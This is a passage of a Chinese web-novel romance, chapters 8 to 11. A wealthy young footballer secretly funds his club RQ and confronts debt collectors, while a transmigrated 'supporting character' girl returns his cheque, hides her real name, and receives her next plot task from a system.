老方在电话另一头喋喋不休:“钱的事你不用操心。总之哥哥们巡演是为了球队,也是为了你。你在家努力练习安心上学就好了,一切有我……”
江翊皓没听他的,切到手机小屏拉出常用转账账户匿名打了50万到球队。跟他废再多口水都不如直接打钱有用。江翊皓一边摁下确认键,一边悠悠地说:“可别的俱乐部都热完身了,老大你心里一点不慌吗?”
老方恼了,合着自己白费半天唇舌:“没钱谁来踢球,谁来发工资?今天训练练完了吗?”
这话不说还好,一说触发了江翊皓的价值评判机制。别人骂他恨他都无所谓,为了球队就算得罪人也要把实话说出来。
“RQ上赛季都掉到什么名次了,你身为总监一点不着急吗?队员没休息好怎么发挥,你知道外面现在怎么骂咱吗?”
江翊皓的话一下戳到老方心窝:“怎么说话呢。你不要仗着自己有点天赋就尾巴翘到天上!有我在骂不到你们头上,少操没用的心。”
“尤其是你,要把握住机会。球员一生有几年光阴挥霍?你又不是富二代,专心踢球别的不管你事听到没?”
“你是我们带出来的根正苗红RQ人,不要辜负我们的期望……”
老方果断挂掉了电话,江翊皓被人劈头盖脸骂一顿气的一拳砸到方向盘上,喇叭发出尖锐的鸣笛。
他好心好意提醒,不听还挨了一顿训,敢情他这些年给俱乐部塞的钱都成了笑话。
江翊皓敢当的起“小老板”这个称号,不仅仅是平时为俱乐部热心出力,背地里他真偷偷打过不少钱帮队里解决困难。RQ球迷遍及全球,其中不乏明星政要,谁也没怀疑账上多出的一笔笔匿名捐款。步宸笑他倒贴踢球,江翊皓纠正这叫给自己的信仰充值,他们外人不明白。
况且他的钱是真多的花不完。
或许是意气相投,江翊皓两个兄弟也从小特立独行,早早研究起赚钱独立。江翊皓跟着他们就算天天在家躺着什么都不做每天也有金山银山送进门。
步宸脑子活络善于交际,未成年时就玩票性质的开了几个公司。江翊皓当时随便投了点当支持兄弟,不曾想转眼成了新锐上市公司的原始股东。
公司市值像火箭似的一路往上冲,
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江翊皓身家也跟着暴涨,给了他不看家里脸色的底气。步宸开玩笑,就算他有天被赶出家里,凭这些股份也能保证他一辈子吃香喝辣。
柏星邈是理工学神,私下管着几个基金。江翊皓把钱都交给他打理,数学天才的脑子挣钱比印钞机还快,短短几年,江翊皓的账户像财神附身一样源源不断往外冒钱。江翊皓就算把账头花成负数,过段时间又会自己长出钱来。
柏星邈具体给他挣了多少钱江翊皓没认真数过,只知道他的基金几年前就不再接受外人入股。外人眼红、捶足顿胸恨自己不能搭上财神专列。
所以江翊皓从来不看账户的余额,心情好就会顺手捞一把。球队零零碎碎加起来算他资助最多的对象。
江翊皓本来还想再发点红包,结果老方不分青红皂白一顿训斥彻底浇熄了他的热情,现在他一分钱都不想往外掏。
叮一声短信响起。
江翊皓生气转过头不看。
他突然想到贴身助理最近一直在找休息室那个女生的下落,算算日子应该有消息了。该不会助理发来的吧。
江翊皓一秒收了怒容,他紧张地扫了一眼屏幕。
胸针没弄坏之前,他巴不得一秒就能见到本人。现在他既盼着能快点找到人,又怕见了面不知道说什么。
短信是老方发来的。
江翊皓心里有丝失落,同时也有几分庆幸,眯起眼睛划了一下屏幕。
【刚签了一个合同,营养剂让阿梅换回去了。】
哼。
江翊皓叉掉短信,打了个转弯。
今天路况还算顺利,不到8点半就到了训练中心。
虽然近几年RQ成绩连年下滑,每天依旧有大量死忠球迷从全世界各个地区赶来连夜蹲在大门外为崇拜的球星加油打气。
江翊皓的车开进去的时候,有些门口许多熬了一夜的球迷顿时站起来,冲他挥手喊加油。只是今天保安有些奇怪,不让他们进去。运动员的身体感官要比普通人敏锐的多,江翊皓察觉里面有些异常,加速开进去。
江翊皓进门就臭到,看到大厅中央的垃圾堆气的瞬间炸毛。工作人员看到江翊皓从天而降又惊又喜:“小老板!你来了!”
江翊皓神色凛然把瘦弱的工作人员护在身后,大家高兴之余又有些担忧。
俱乐部里都知道小老板个性强悍能扛事,平时没人敢惹他。有他顶在前面撑腰,大家着着心总算放回了肚子里。小老板同时也是公认的RQ未来帝星,队内重点培养对象,他要有个三长两短把他们都开了也负不起责。
工作人员把江翊皓拉到一边,诚惶诚恐道:“小老板,你是俱乐部的核心资产,不能有半点闪失。你别管了,这里交给我们。”
江翊皓指着污秽不堪的大厅怒骂。
“都欺负到咱们头上了能不不管吗?”
“现在队里休假的休假,巡演的巡演,他们故意挑这时候当RQ没人?”
一袋袋垃圾堆在墙边上,正对着上空RQ巨大的黑绿框狼头logo。球队几时这么丢人过。他不管还是RQ人吗?
工作人员连忙安抚:“你先消消气,梅经理已经叫专业的保洁公司来了。她说正在来的路上,叫我们别乱动。”
“什么别乱动,不赶走等着给八卦杂志提供素材让他们乱写吗?”
领头位权的胖子见江翊皓和工作人员吵了半天不知在吵什么,粗声打断:“你们老板呢?叫他出来还钱!”
说着,他身后的人们跟听到指令一样举拳大喊:“还钱!还钱!RQ还钱!”
江翊皓神情茫然了片刻:“还什么钱?”
8. 第 8 章
工作人员小声回:“还不是年初修体育馆那事。”
江翊想起来了,一阵无语。
年初俱乐部要维修RQ的主场青里体育馆,老板想省钱,没听老方的建议找了自家亲戚。结果亲戚偷工减料修的破破烂烂,双方就160万尾款扯了半年皮。
江翊皓想不通老板到底怎么想的,为了省几个子结果丢了个更大的。事情真闹大了,甭管有理没理都是俱乐部吃亏。
“还等什么,赶紧给钱打发走啊。八卦小报就喜欢盯着咱们瞎写,这不给他们送现成的材料?”
工作人员嘴巴张开,表情仿佛在说:小老板你在开玩笑吗。
江翊皓微愣。
丫的,差点又忘了。
进入RQ后最难学的不是球技,而是摁住遇事就想砸钱的冲动。
反正帮他们不止一次了,不差这一回。江翊皓认栽掏出手机。
忽然转念一想,不行,他在别人眼里只是个司机的儿子,到时候怎么解释钱哪来的……
胖子看江翊皓闹闹吵吵一顿也没下文,以为占了上风,哈哈讥讽:“我还以为多大本事,原来是个小瘪三。没钱就滚开,这里没你说话的份!RQ还我血汗钱,RQ老赖!”
江翊皓挑眉:“你说谁是老赖?”
胖子仰头看着比自己高三个头的江翊皓,眼神嚣张至极:“说的就是你——RQ塔伦!你们只剩下个空壳子,别说160万,60万都拿不出来。怎么,还要我再说一遍?你们是老赖!老赖!”
江翊皓冲过去揪起胖子的衣领:“你说什么?再说一遍!”
胖子不仅不怕,还故意伸出脖子挑衅:“你打啊!有本事揍我,我要全世界的人看看,RQ欠债不还动手打人!”
胖子身后的人跟着起哄拱火,工作人员废了九牛二虎之力才把两人拉开,苦苦哀求:“小老板算了吧,咱们忍忍吧。球队经不起一点风波了!”
江翊皓青筋暴起,他从小到大几时受过这气,正要还击忽然瞟到大厅上空的狼头logo。他伸手抹了一把额头,极力逼自己冷静下来:“你等着!拿好你的钱滚蛋!”
工作人员以为自己听错了,还想上前婉劝,江翊皓抬手拦住,另一只手怒冲冲点开银行app。
这事他管定了,不把胖子轰出去他就不姓江。
人脸扫描后江翊皓迅速登陆账户,当看到余额那一栏眼神瞬间呆滞。
整个账户只剩下十八块八。
他拉近屏幕不可置信地反复刷新,差点把手机屏搓出火星子,金额仍一动不动停在原来的数字上。
账上几个亿现金去哪了?
钱呢?
他的钱呢?!
他享受着全世界最顶级最私密的财富保护服务,外人根本动不了他的账户。更何况这是他的私人小金库,他父母都不知道。
江翊皓火速打开明细查看,该死,他怎么把这事忘了!
前几天柏星邈说现在可以追加一些投资,问他加多少。
江翊皓问,是不是投的越多赚的越多?
柏星邈回答,是。
江翊皓说,好,都投了吧。意思是投多少随柏星邈的便,只要到时候分他钱就行。
柏星邈的投资嗅觉一向很神,江翊皓对好友很放心,投资的事全权交给他打理从不多问。
结果这个狗东西把他账上的现金连分带毛全划走了。要不是今天50多万利息到账,他差点连过路费都刷不出来。
我叫你多投,没叫你一毛都不剩下!
江翊皓心中狂骂。
有时候他也受不了发小。柏星邈从小就是他认识的同辈中最聪明的人,这货智商高到看谁都像猴子,情商也是类人级别。
他拧着眉头打给柏星邈。电话接通江翊皓骂声还没出口,先被对方冰冷清冽的语音留言堵了回来。
“先投这些,等你有钱了再加。”
啥意思,把他搜刮的只剩下个光屁股蛋还不够?
江翊皓气的面色扭曲。
胖子看他愣在原地又嚣张起来了:“钱呢?不是叫我滚吗?你倒是把钱拿出来呀!我看你们RQ不该叫RQ,应该叫PO,毕竟穷的裤衩都没了哈哈哈哈。”
“你闭嘴!”江翊皓再也忍不住挥拳向胖子,大厅人群顿时一哄而上,拉架的、起哄的推搡拽扯,光鲜璀璨的RQ迎宾大厅沦为菜市场,巨幅狼头logo静静看着底下闹剧。
“住手——”吵闹声中,突然混乱响起一个颤抖的少女嗓音:“你们别打了,RQ有钱的,不要打啦。”
人们奇怪到底是谁,循声望去只见一位五官浓艳,气质却像铃兰一样清纯少女努力扒开人群钻进来。
阮柠刚躲在一旁把前因后果看的真真切切,不明白江翊皓说要给钱不知为何没给,两人一言不合就打了起来。
阮柠感叹居然还有这么巧的事,就算江翊皓没钱但她有啊。给少爷救火的小厮也是让她扮上了。
她鼓起勇气拨开闹嚷的人群,战战兢兢把支票塞到江翊皓手上:“喏,钱还给你了。以后我什么都不欠你了。”
江翊皓没看清一把甩开,高声喊道:“怎么让游客混进来了。保安、保安——”
阮柠傻眼,这人是个傻子吗。
偏江翊皓个子又高,她只能举起支票在他眼前用力挥舞:“看清楚,是我啊!”<
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阮柠紧张到说话都带点小颤音,尾音像毛茸茸的小尾巴,唰一下从江翊皓心头挠过。
他眯眼看了眼支票上的金额日期,这不是休息室开的那张?
那这个女生……
江翊皓顿时脑子有一道雷轰隆打过,呼吸变的愈发急促,他艰涩地转过头,脸开始泛红。
阮柠不知道自己做错了什么,江翊皓忽然表情复杂一言不发盯着自己,视线炽热的几乎把她灼伤。
阮柠耳根发红不好意思别开脸,周围指着他们议论纷纷,都在猜阮柠是谁为什么出现。江翊皓呆了似的对周围毫无反应,依旧一眨不眨盯着她。
江翊皓不敢相信,找了几天没有消息的女孩竟然会在最不可能出现的地方从天而降。
那晚她打扮的像个公主,今天换了身普通的牛仔衬衣差点没认出来。
他第一次在光天化日下看阮柠。她长的比记忆中的要消瘦一些,也更显小些。
鹅蛋脸上一双水滢明亮的大眼睛,乌黑卷发双马尾,五官精致娇艳。紧张咬唇露出兔子一样的上齿,略带几分娇憨任性。
胖子看两人神情古怪看来看去不知搞什么鬼,不耐烦吼道:“你们别想串通演戏分散老子注意,老子不吃这套!告诉你们,老子今天拿不到钱就不走了,大不了一起玩完!”
阮柠被胖子凶恶的样子吓到,连忙拽江翊皓衣角:“拜托你快说句话呀。”
“哦——”江翊皓这才回过神,“看清楚,这是什么?”
江翊皓没伸手去接支票,转头骂了胖子一句,视线始终牢牢粘在阮柠脸上,生怕一眨眼人又消失不见。
阮柠无奈,只好自己捏着支票底部高举过头顶让众人看清楚:“你们不是要钱吗,这些够不够。”
胖子看了一眼,嚣张的气焰顿时蔫了下去,磕磕巴巴念出来:“两、两百万?”
人们跟着一齐惊呼,全场目光霎时聚焦在阮柠身上,猜测她到底什么来头。
“够付你们工钱了吧,请不要说RQ破产了。”阮柠感受到四面八方的视线,顶着羞红的脸蛋,一本正经道。
噗,好可爱。
江翊皓心想。
胖子看到真金白银立即换了副谄媚笑脸:“够、绝对够。”
“不对,”胖子突然想到什么阴阳怪气道,“我怎么知道钱是真的还是假的。你一个小丫头拿的出两百万吗?”
啊?
阮柠以为只要给他看了数字就行,没想到人家不信。
她悄悄偏过头向江翊皓投去求助的眼神,结果这个家伙还是魂不守舍的样子。
她有些生气了,他不是信誓旦旦说要守护RQ吗?
9. 第 9 章
阮柠出现的那一刻,江翊皓脑子空了。
她什么时候来的?
刚才岂不是全看到了?
靠,傻逼啊。江翊皓骂了一句。
他就算账上是0也能从银行预支几百万随便花。她不会真以为自己没钱了吧。
凭什么老板干的破事最后丢脸的是他?!
惊喜、愤怒、后悔、窃喜一起涌上江翊皓心头碰撞翻滚,搅得江翊皓竟不知如何开口。
当他看到阮柠睁着乌黑澄澈的大眼睛,小心捧来支票送给自己时,脸上仿佛有股温柔的风吹过,淡淡的、香香的。
世界突然变的好安静。
阮柠却吓的心脏要跳出来了。她一直在等江翊皓的准话,大少爷始终一声不吭,急的她不知该怎么办。
阮柠来之前就确立了一个原则——绝不暴露江翊皓的身份。毕竟人家辛苦隐藏好几年,万一被自己捅出来绝对吃不了兜着走。可眼下这个情形,她实在撑不住了。
阮柠一根一根松开手指,露出底部签发人的名字,声音颤抖:“你再看看……这下懂了吧。”
胖子乜斜着眼念出来:“江……”
还没念完第二个字,胖子刷一下变成一惨白的胖子,不可置信地看着阮柠,又看了眼江翊皓,嘴唇直打哆嗦:“你们到底是什么人,跟江家什么关系?”
人群哗然RQ背后竟然有塔佩公爵家撑腰!现在要考虑的不是能不能拿到钱的问题,而是得没得罪江家。
阮柠表面上故作镇定,内心像煮沸的热水咕嘟咕嘟向外冒泡:“你只要知道这张支票是真的就行了。至于什么时候能拿到,全看这位的心情。”
她把支票重重拍到江翊皓胸口,冲他使劲眨眼:我只能帮到这了!
“咳……咳……”
江翊皓挨了一记重拳,咳嗽几声彻底清醒过来。
他淡定地扫了一眼全场:“都看清楚了,真的还是假的?”
全场一片缄默,心想,这话说的,有谁敢冒充江少爷的名号,吃饱撑的去惹全国最有权有势的几个人。
阮柠觉得江翊皓太盛气凌人,主动走上前耐心向人们解释:“大家请放心,RQ没有破产,大家一定会拿到工钱的。请大家安心回去等工作人员安排好吗。”
于是阮柠江翊皓肩并肩站在人群中央一刚一柔稳住了局面,工作人员默默感叹真是男帅女美青春养眼。
胖子完全没了刚才的神气,瞬间化身低眉顺眼的小弟,冲阮柠和江翊皓连连鞠躬。
“刚刚都是误会,您二位都误会了,我不是来讨债的。刚刚是我有眼无珠冲撞了二位,您可要多多包涵。”
阮柠对他变脸的速度令瞠目结舌:“那钱你还要吗?”
胖子忙不迭打了一下自己的脸:“您提钱干什么?什么钱不钱的?修青里体育场是我们的荣耀。您还有哪修的不满意,我们这就去办。”
胖子收拢身后人群挨个朝工作人员陪笑道歉,仿佛刚才咄咄逼人的另有其人,工作人员忍气勉强接受了赔礼。
阮柠看呆了,刚刚闹的最凶的不是他吗,听到江翊皓名字后简直变了个人。
胖子赔了一圈礼,老鼠似的小眼睛滴溜溜地盯上了阮柠。
他早就觉得阮柠来历不简单,长得这么漂亮肯定背后有人,想不到竟然是高不可攀的江大公子。
江翊皓是什么人,是生活在云端的贵人。他们这些小马仔只配坐在泥巴地瞻仰人家的大名,真要能搭上江公子这条人脉,简直是祖坟冒青烟。
胖子心机深重,当即放弃要债一心一意讨好阮柠。
他不怀好意地凑到阮柠身边,笑出几层褶子:“小姐认识江公子吗?你见过他本人吗?你们是什么关系……”
“呃……”
阮柠脑子宕了一下,悄悄瞄了一眼江翊皓,不知如何作答。
“走走走!拿了钱还不滚蛋!”江翊皓突然挡在阮柠身边赶跑胖子,捉起阮柠手腕一脸怒容冲出大厦。
江翊皓最反感别人背后打听问东问西,阴着一张脸脚下跟踩了滑轮似的走的又快又急。他本就是运动员,一步顶阮柠两步,阮柠一路小跑才勉强跟上。
“哎,你慢点走,你捏疼我了。”阮柠拍手叫他松
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开,江翊皓惊觉失态,松开手腕不自然道:“抱歉。”
“没关系。”阮柠揉了揉捏疼的手腕,觑着江翊皓脸色小心问,“你好像很不喜欢别人提你的身份?”
江翊皓双手插兜:“说不上喜欢或不喜欢,只是讨厌前后不一的嘴脸。”
两人放缓脚步沿着的大厦外墙漫步无目散步。
阮柠深有感触:“那是,人们态度的确蛮不一样的。”
她亲眼看到胖子之前有多嚣张跋扈,听到江家的名号后变脸之迅速,放眼十年内估计都找不到比他更厚的脸皮。
而且她和江翊皓都心知肚明,胖子表面上对江家恭恭敬敬,保不齐别有用心。
阮柠以前认为天龙人要什么有什么没烦恼,从江翊皓这看也不尽然,随时要警惕身边带着面具的人。
“所以太有钱了也不是什么好事。”江翊皓感叹。
阮柠轻轻点头。
两人走着走着,突然,江翊皓一手撑到墙上,把她困在狭小的墙角,点漆似的黑眸直勾勾地盯着她,睥睨张扬。
怎么回事?
阮柠懵了,瞪大眼睛身子紧绷。
刚刚不聊的挺好嘛,他为什么突然……
明明自己钱也还了,女主也安然无恙。江翊皓为什么还是这样看着自己,我到底哪又得罪他了。
江翊皓终于看够,眼睛笑成弯弯月牙:“你还挺聪明的,知道替我隐瞒身份,刚才谢谢你了。”
阮柠背后惊出一身冷汗。
说谢谢就说谢谢,何必弄的这么吓人。她唾弃自己不管白天晚上有过无过,面对江翊皓总是忍不住会害怕。
“不客气,本来就是你的钱。”她喉咙有些发紧。
江翊皓却以为她在害羞,哈哈笑了几声:“给你了就是你的。拿着吧,还回来干嘛。”
“不不不,这钱我不能拿。”阮柠慌忙摇头,又怕他不相信慌忙补充,“我们说好了当什么都没发生,所以你也不需要给我补偿。请问我现在可以走了吗?”
“当什么都没发生?”
江翊皓忽然脸色一沉。
10. 第 10 章
江翊皓五官浓烈,稍稍沉下脸浑身与生俱来的高傲锋锐便乌云罩顶般袭来。
阮柠下意识地往后一躲,背部重重磕在墙上,江翊皓趁机将她强势圈在怀中不给她一点退路:“告诉我为什么?”
阮柠白皙的脸庞瞬间涨红,伸手挡住脸蛋:“你为什么一定要给我钱呢,你把我当什么了。”
她怕江翊皓听不明白,又委婉解释一句:“……那个完就收钱的女生都是什么人啊……”
江翊皓明显一怔,立刻松开阮柠,脸色绯红。
他尴尬地搓搓脑袋:“你别乱想,我没那个意思!我只是听说对女生道歉要诚心,钱花的越多越诚心。”
江翊皓想不起这句话从哪听来的,他除了身边几个兄弟没什么异性好友,对女生知之甚少。那天他第一次与女生亲吻,实在不知道怎么办,鬼使神差地掏出了支票本。
江翊皓脸红还没消散,又一次慌乱掏出手机要转账:“总之,我是真心跟你赔礼道歉的。”
阮柠连忙摁住他颤动的手指:“不不不,我知道你不是故意的,所以才来还给你的。”
江翊皓眸中闪过一丝疑惑。
“你怎么知道我在RQ踢球?”
阮柠顿时身体僵的像一块风化千年的岩石,笑容凝固在脸上:“那个……呃……”
江翊皓眉头蹙起,听她把话说完。
阮柠恨不得吃了自己舌头,脑子里从远古开天辟地到最近课堂小考各种庞杂的信息在脑海中飞速滤一遍,CPU都快烧干了。
江翊皓眼里的怀疑越来越重,幽深的墨瞳散发出强烈的压迫感。
“我身边都没人知道你怎么知道的?”
阮柠扣破手皮,眼神向外飘,她试图朝左边稍稍挪动身子,江翊皓铜墙铁壁般胳膊挡在那里全身挪不动半寸。
“那个、其实我爸爸是RQ铁杆球迷,他看过青训比赛认得你。其实我也不确定是不是你,所以才来碰碰运气。”
阮柠庆幸刚才围观争吵时听到了江翊皓的化名,迅速在网上搜了一下,还真搜到了点东西。
网上零星的报道显示,江翊皓14岁晋升俱乐部U16梯队,15岁晋级U19梯队,上个赛季28进35球,是近年业内有名的豪门小妖。只是与流量巨大的现役球星相比,关注青训的人寥寥无几,网上也只有一张江翊皓比赛时的侧脸。
江翊皓双眼一亮,黑压压的气场瞬间散开,整个人像置身温暖的阳光下被幸福包围。
“你爸爸认识我?”
“当然认识!”阮柠大力点头,想到什么甜言蜜语都一股脑倒出来,“他还是你的粉丝呢。他说你踢球很有风格,有自己的想法,队里不能没有你这样的人……”
江翊皓故意轻咳一声,嘴角抑制不住的上扬:“哎,我还没正式踢职业比赛呢,叔叔太客气了。”
“没有!我爸他可看好你了。”阮柠急急否定,转身翻出书包里的本子和笔递给江翊皓,“对了,你能给他签个名吗。”
“签名?我又不是球星,找我签什么名。”江翊皓哈哈大笑,几乎瞬间夺过纸笔,龙飞凤舞地签完递给阮柠。
大部分球员成名前都寂寂无闻,江翊皓这种初出茅庐的新人更是无人问津。难得有个活人粉丝,简直感动地要把人供起来。
阮柠料定现在的江翊皓绝对无法抵挡被人追捧的诱惑,只要稍稍演出粉丝的崇拜、对他大吹彩虹屁,一定能把他哄的找不着北。
“谢谢。”阮柠淡定地把本子塞进书包,江翊皓突然问:“要合影吗?”
“不用了,还是下次让我爸亲自来跟他的小偶像合影吧。”阮柠笑着摇摇头,努力扯平嘴角装作若无其事的样子。
要不怎么说绝境能激发人的潜力呢,经过几轮惊心动魄交锋,阮柠现在能做到江翊皓面前面不改色心不跳的演戏了。
江翊皓还惦记着两百万,坚持要她收下,阮柠婉言谢绝:“这样吧,你把我当朋友就不要给我钱了。以后我有事你就帮我一个忙,这样好不好。”
江翊皓眼神里带着一丝震惊,仿佛在重新认识眼前的女孩。
阮柠垂着眼睑,圆润饱满的耳朵微微泛红,可以看到清晰透明的血管,像块冰凉Q弹的果冻,有种莫名的诱惑力……
“看清楚,这可是两百万。你就算每天出门捡一百块也要捡50多年。”
阮柠逗乐:“知道啦知道啦。”
“随便你……反正我第一次见不爱钱的。”
“你不也这样嘛。”阮柠挑挑眉,两人对视一笑。
江翊皓觉得跟阮柠很投缘,还想多聊一会儿,工作人员过来通知他们,梅经理喊的保洁公司到了,现在前厅全部封锁,他们进楼要走后门。
阮柠脑袋轰了一下,保洁公司到了意味着正牌女主曾书雅也到了。
她站直身子拢紧背包:“时间不早了我也该回去了,就不打搅扰你啦。”
江翊皓一看时间训练时间到了没有过多挽留,把阮柠送到基地外,悄悄叫了辆豪华商务车送她回去。
江翊皓叫的不是一般的车,是塔伦赌场专门接送VIP客户的同款高端商务车。
车开进来时阮柠眼睛瞪的溜圆,心想这得花多少钱呀。
阮柠曾经打过一次的来基地,舒服是舒服了,但是花了她三百多块,还没逮着江翊皓,越发觉得肉疼从此一律改为公共交通。
她急忙摆手叫司机回去:“谢谢你,不用这么破费,我自己打车回去就好了。”
江翊皓霸总上身,拉开车门把阮柠塞进去:“坐这个舒服,别的车都没这个舒服,睡一觉就到了。回去一定要替我跟你爸说声谢谢,新赛季我会好好表现踢给他看。”
“呃,好的……”阮柠突然心底没由来地撞了一下,内心五味杂陈。
来之前,她满心满脑都是对江翊皓的恐惧,懊恼因为他丢了外婆的胸针,又留下两百万定时炸弹。但现在看来,江翊皓虽然脾气暴躁了点,算得上一个单纯正直的人。
现在支票危机解除,胸针也只能自认倒霉,一切问题平息后,阮柠对江翊皓也没那么抵触了。
江翊皓跟司机交代一阵,又返回来亲自检查阮柠的安全带,倒了一杯果汁放在她
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的手边祝她一路顺风。
江翊皓关上车门前,忽然想到一个重要的问题:“对了,你叫什么名字?”
阮柠闭眼正准备休息,一下身子僵住:“我的名字?……你又问这个干什么……”
江翊皓探进车厢,高大的阴影罩住阮柠全身,眼神里裹夹着强势的炽热。
“你知道我是谁,但我还不知道你是谁,有点不公平吧。”
阮柠揉搓着衣角,心里七上八下:“我就是个普通同学,你见到每个同学都会问他的名字吗?”
“谁说的,”江翊皓脱口而出,顿了一下,“我就是随便问问。你知道我的名字而我不知道你的,这不公平。”
“你要干什么?”阮柠霎时警惕地起来,“钱的事我已经说好了,我们两不相欠。”
江翊皓听到欠字眼神一亮:“你要坚持不说,我倒是不介意再欠……”
“你要干嘛?”
豪华商务车自带隔间,车厢内只有阮柠和江翊皓两个人。
江翊皓嘴角微勾,坏心眼地贴过来。英俊立体五官在阮柠眼里慢慢放大,手指攥到发白。
“等等,你别过来。”阮柠伸手阻挡住江翊皓的胸口,乖乖认怂,“我说就是了。”
心想是不能高看他一眼,刚对他印象好转一点就露出本性。
江翊皓听不到阮柠的心声,反而满意极了,站直身子好整以暇地等她回答。
“听好了。”阮柠深吸一口气,眼神平静无波地看着他,“我叫江二号。”
“好你个记吃不记打的家伙,耍我呢。”
江翊皓捉住阮柠掌心要打板子,阮柠连连求饶,“我错了我错了,这回是真的。”
江翊皓捏紧她的掌心。
阮柠看着他的眼睛真诚地说:“其实,我叫刘子涵。”
“刘子涵?”江翊皓跟着读了一遍,瞬间乖的像得到骨头的小狗,用自己才能听到声音说了一句,“好听。”
“满意了吧,那我可以走了吗。”阮柠手停在车门按钮上,暗示江翊皓该回去了。
江翊皓顺从地退出车厢,眼睛还恋恋不舍地黏在阮柠脸上,车门缓缓合上,江翊皓缓缓消失在视野中。
“等等——”江翊皓突然伸手卡住车门,盯着阮柠再一次问:“你真叫刘子涵没骗我?”
他的眼睛黑亮纯澈,像热烈霸道的小狗,略带不安焦灼。
阮柠深吸一口气,语调平静肯定:“没错,我就是。”
江翊皓得到肯定回复,立刻露出没心没肺的笑容,一把关上车门开心告别:“拜拜,下次你和你爸爸一起来看我踢球吧!”
阮柠坐在车上,望着窗外放空。
她坚信自己做了正确的决定。
就在她离开不久,真正的女主和江翊皓即将见面,两人展开一段轰轰烈烈的感情,她作为女配实在没有留下姓名联系的必要。
坐着豪华商务车,阮柠很快回到宿舍,阮柠谢过司机,进门直扑床上,浑身酸软疲倦。
叮,系统音忽然响起,阮柠猛然爬起,惴惴不安等待系统宣判任务结果。
11. 第 11 章
江翊皓送走阮柠后回到训练大厦。
刚刚有人告诉他保洁公司的人在前厅清理现场,于是江翊皓从后门进去,正巧此刻步宸的电话打过来。
“听说邈把你的钱都划走了?”
江翊皓对准门禁面带微笑扫了下脸:“是啊,怎么了。”
“不是吧,这都不生气。你听起来心情还不错呢,有什么喜事?”
江翊皓单手插兜,跟迎面走过来的工作人员打了个招呼:“跟ai有什么好生气的。你打电话来做什么,有屁快放,老子要训练了。”
步宸心照不宣笑了一下:“亚伦那几个小老弟从c国过来找我们玩,问周末你有空吗。周六晚上撩夏,我请客。”
“不是,哥们你整天泡夜店换女朋友不累吗?为什么不找个人认认真真谈。不去,我要训练。”
江翊皓知道亚伦,他是c国第一大石油财团的主支嫡系公子,跟步宸一样也是个整天混夜店开趴的富n代。
步宸总嫌他在家打游戏遛狗闷的慌,经常劝他多出来玩玩、谈谈恋爱,把江翊皓喊烦了。
“你长本事了竟然敢教训我。”步宸啧声,忽然语调一转,“还是你想谈了?”
“没有的事。我你还不清楚吗,我整天训练哪有空谈恋爱。”江翊皓一口否认,他快步走过食堂,进入运动员专属训练区。
步宸笑了一下:“你又不是24小时都要训练。”
对海王来说时间管理的确不是难题,但江翊皓只想早点踢出成绩,“我跟你说——”
话没说完,江翊皓突然被人重重的撞了一下溅了一裤子污水。
“走路不长眼啊。”江翊皓甩甩裤腿骂道。
换作平时江翊皓早把人骂的狗血淋头,今天只是看了一眼便向前走没多计较。
“对不起对不起!”曾书雅慌忙道歉。
撞他的人正是曾书雅。
她第一次来RQ打扫卫生,出来打水时迷路不小心撞到江翊皓身上。
曾书雅被面目凶恶的江翊皓吓慌了神,急忙放下水桶,蹲下去帮他擦干净,“我刚刚不小心迷路了。请不要投诉我好吗。你们是我们公司的高级客户,你要投诉的话我肯定会被炒的,我真的不是故意的……”
江翊皓打手势叫她闭嘴,越过曾书雅拉开练场馆的玻璃门,疑惑怎么后场也有保洁公司的人。
他换了只手拿着电话:“我还是那句话,不谈。到更衣室了,我先挂了。”
曾书雅呆呆停在原地,看着江翊皓消失在门后,眼神里充满了疑惑。
此时此刻,世界的另一端阮柠在宿舍惴惴不安等待。
系统机械音准时响起。
【女主与男主1号见面,剧情进入下一章节】
【滴……剧情载入中】
【触发任务:下药被女主撞破打脸事件
任务要求:与3号男主步宸共度一夜
任务失败:抹杀意识】
阮柠心有余悸地拍拍胸脯,太好了,男女主顺利见面,第一个任务彻底翻篇了。
但接下来第二个任务也不能掉以轻心,毕竟她马上要去攻略的人是a国有名的浪荡纨绔步宸。
相比另外两位行踪不定的公爵之子,步宸算是好接触的。好接触到只要你是女生,去夜店就有机会见到本人。
原著中的恶毒女配就是看中这点,想在酒里偷偷给步宸下药借机上位。
可步宸是什么人,女配简直是不自量力。
步宸狡黠放浪、心机深沉,未成年时就成立了自己的公关公司,专做有钱人生意,还有做的模有样。
今年年初,他刚评上了a国30岁以下青年企业家榜,并且排名前十,同期上榜的人平均比他大十多岁,是少数靠自己混的风生水起的富n代。
阮柠本来对上层社会圈子的人没什么印象,奈何步宸实在太离经叛道,恶劣到圈内圈外举世皆知。
想起几年前名媛舞会事件,阮柠至今还非常不齿。
每年深秋,塔伦大皇宫会定期举行一年一度的名媛成人礼舞会。
组委会从全世界精心邀请18位容貌出众、家世显赫的少女参加晚宴,是全世界最瞩目的的社交活动之一。
舞会以传承贵族传统为宗旨,要求嘉宾不仅家世清白,还必须是在各行各业做出表率的优秀女性。因此不少空有家世,但负面缠身的名门千金都被拒之门外。
几年前,步宸刚好有个玩的好的朋友也想去凑热闹。这个人名声不佳,不出所料地也被舞会拒绝,气的他指着大皇宫方向破口大骂。
步宸拍拍哥们肩膀:“多大点事,他们不让咱们玩,咱们自己玩呗。”
结果步宸真找来了同年落选的千金和一些专门猎奇博流量的网红,在塔伦最大的夜店——撩夏轰轰烈烈办了场暗黑版名媛成人礼舞会。
所谓暗黑舞会就是一切跟原版反着来。
比如原版要求来宾端庄优雅恪守礼仪,这边看对眼就能抱着脖子啃上,各种限制级打码画面层出不穷。
原版鄙夷炫富崇尚美德,这边变着花样撒钱,怎么铺张怎么来,看的观众瞠目结舌大开眼界。
一时间暗黑舞会刷爆了流量,隔壁正版无人问津彻惨遭陪衬。
原版组委会不知自己怎么得罪了步少爷,碍于他的身份又不敢明说,于是私下里骂黑暗版舞会“蔑视传统,有辱斯文”。
结果不知怎么的对话被爆出来,引起全世界网友一起吃瓜看热闹,又给暗黑版刷了一波流量。
阮柠以为步宸会就此收手,结果这个坏人把暗黑舞会做成了固定综艺节目,年年定期举行,光广告赞助费都不知道给他挣多少个亿。
阮柠不明白这个世界怎么了。
暗黑舞会下流恶俗,还是低劣盗版,可是收视率一路暴涨,打开手机报纸都是暗黑舞会。参加的嘉宾全员爆红,拿到好几个常驻综艺资源,加上大部分嘉宾本来就出身显赫,参加节目后时装周都升到了第一排。
原版舞会咽不下这口气,扬言要打官司维护名誉,步宸早有预料似的每一环节都精准踩在法律的边界上,组委会再气拿他无可奈何。
而步宸轰轰烈烈导演策划第一届暗黑舞会时还不满18岁。
